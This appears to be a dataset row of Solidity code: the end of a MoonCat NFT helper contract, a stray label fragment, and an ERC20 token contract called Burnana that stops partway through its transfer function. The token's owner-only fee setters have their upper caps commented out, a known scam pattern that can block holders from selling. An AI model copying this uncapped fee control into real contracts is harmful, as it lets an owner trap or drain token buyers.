string memory expression,
string memory pattern,
string memory pose,
bytes5 catId,
uint16 rescueYear,
bool isNamed
)
{
require(rescueOrder < 25440, "Invalid Rescue Order");
catId = MCR.rescueOrder(rescueOrder);
(genesis, pale, facing, expression, pattern, pose) = traitsOf(catId);
rescueYear = rescueYearOf(rescueOrder);
isNamed = (uint256(MCR.catNames(catId)) > 0);
}
mapping (address => bool) ERC721ProxyOwnership;
/**
* @dev Iterating function to find the final owner of a MoonCat (looping through any ERC721 wrappers).
*/
function proxyOwner (uint256 rescueOrder, address ownerAddress) internal view returns (address) {
if (ERC721ProxyOwnership[ownerAddress]) {
return proxyOwner(rescueOrder, IERC721(ownerAddress).ownerOf(rescueOrder));
} else {
return ownerAddress;
}
}
/**
* @dev For a given MoonCat rescue order, return who owns that MoonCat.
*/
function ownerOf (uint256 rescueOrder) public view returns (address) {
require(rescueOrder < 25440, "Invalid Rescue Order");
bytes5 catId = MCR.rescueOrder(rescueOrder);
return proxyOwner(rescueOrder, MCR.catOwners(catId));
}
/**
* @dev For a given MoonCat rescue order, return the hex ID of that MoonCat.
*/
function catIdOf (uint256 rescueOrder) public view returns (bytes5) {
require(rescueOrder < 25440, "Invalid Rescue Order");
return MCR.rescueOrder(rescueOrder);
}
/**
* @dev For a given MoonCat hex ID, return the recorded name of that MoonCat.
*/
function nameOf (bytes5 catId) public view returns (string memory) {
bytes32 nameRaw = MCR.catNames(catId);
uint8 i = 0;
while(i < 32 && nameRaw[i] != 0) {
i++;
}
bytes memory nameBytes = new bytes(i);
for (i = 0; i < 32 && nameRaw[i] != 0; i++) {
nameBytes[i] = nameRaw[i];
}
return string(nameBytes);
}
/**
* @dev For a given MoonCat rescue order, return the recorded name of that MoonCat.
*/
function nameOf (uint256 rescueOrder) public view returns (string memory) {
require(rescueOrder < 25440, "Invalid Rescue Order");
return nameOf(MCR.rescueOrder(rescueOrder));
}
/* General */
/**
* @dev Get documentation about this contract.
*/
function doc() public view returns (string memory name, string memory description, string memory details) {
return MoonCatReference.doc(address(this));
}
constructor (address MoonCatReferenceAddress) {
owner = payable(msg.sender);
// https://docs.ens.domains/contract-api-reference/reverseregistrar#claim-address
IReverseResolver(0x084b1c3C81545d370f3634392De611CaaBFf8148).claim(msg.sender);
ERC721ProxyOwnership[0xc3f733ca98E0daD0386979Eb96fb1722A1A05E69] = true;
MoonCatReference = IMoonCatReference(MoonCatReferenceAddress);
}
address payable public owner;
modifier onlyOwner () {
require(msg.sender == owner, "Only Owner");
_;
}
/**
* @dev Allow current `owner` to transfer ownership to another address.
*/
function transferOwnership (address payable newOwner) public onlyOwner {
owner = newOwner;
}
/**
* @dev Update the ERC721 registry for a given address.
*/
function setERC721Proxy (address proxyAddress, bool isProxy) public onlyOwner {
ERC721ProxyOwnership[proxyAddress] = isProxy;
}
/**
* @dev Update the location of the Reference Contract.
*/
function setReferenceContract (address referenceContract) public onlyOwner {
MoonCatReference = IMoonCatReference(referenceContract);
}
/**
* @dev Rescue ERC20 assets sent directly to this contract.
*/
function withdrawForeignERC20(address tokenContract) public onlyOwner {
IERC20 token = IERC20(tokenContract);
token.transfer(owner, token.balanceOf(address(this)));
}
/**
* @dev Rescue ERC721 assets sent directly to this contract.
*/
function withdrawForeignERC721(address tokenContract, uint256 tokenId) public onlyOwner {
IERC721(tokenContract).safeTransferFrom(address(this), owner, tokenId);
}
} | True | [
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|
// https://t.me/burnNana_official
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Burnana is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyBuyBackFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellBuyBackFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Burnana", "NANA") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 5;
uint256 _buyBuyBackFee = 7;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 5;
uint256 _sellBuyBackFee = 7;
uint256 _sellDevFee = 1;
uint256 totalSupply = 1 * 1e9 * 1e18;
maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 10 / 1000; // 1% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyBuyBackFee = _buyBuyBackFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyBuyBackFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellBuyBackFee = _sellBuyBackFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellBuyBackFee + sellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _BuyBackFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyBuyBackFee = _BuyBackFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyBuyBackFee + buyDevFee;
//require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _BuyBackFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellBuyBackFee = _BuyBackFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellBuyBackFee + sellDevFee;
//require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
